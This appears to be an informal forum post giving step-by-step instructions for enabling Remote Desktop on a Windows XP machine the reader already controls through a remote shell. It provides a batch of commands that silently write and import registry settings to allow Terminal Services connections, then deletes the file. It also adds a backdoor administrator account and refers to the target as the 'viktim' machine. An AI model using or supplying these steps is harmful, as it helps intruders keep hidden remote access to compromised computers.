When the TS component is installed, but DISABLED (in most cases) you can enable it (in windows XP):
Rightclick on My Computer -> Properties -> Remote -> Check the 2nd box
When you have a (remote) root box on a windows machine you can enable terminal services:
1) type "ver" and determinate this box uses windows xp. i just tested this on windows xp, when it works on other os's too, let me know.
2) Run these commands on the remote machine (you can copy into a .bat file and upload it, too of course):
Quote
echo Windows Registry Editor Version 5.00 >> ts_on.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server]>> ts_on.reg
echo "TSEnabled"=dword:00000001 >> ts_on.reg
echo "TSUserEnabled"=dword:00000001 >> ts_on.reg
echo "fAllowToGetHelp"=dword:00000001 >> ts_on.reg
echo "fDenyTSConnections"=dword:00000000 >> ts_on.reg
regedit.exe /s "ts_on.reg"
del /f ts_on.reg
3) Run the 'ts_on.bat'. Remote desktop should be enabled.
4) Optional: If you want to add a user with admin privileges to use with ts, you can do this by doing the following:
a) type "net localgroup" to find out how the adminstrative group is called on this system (needed because on different languages of win xp "adminstator" is typed in another way.)
B) type "net user peter pan /add" to add a user. Username now is 'peter' and password is 'pan'.
c)type "net localgroup Administrators peter /Add" to add user 'peter' to the admin group. Remember: Replace "Administrators" by the name found out in step a.
Now you can connect to the viktim machine. (Start -> Run -> "mstsc"). Check the settings and connect.
You wonder why I wrote that much? The answer is spimple - i was bored :)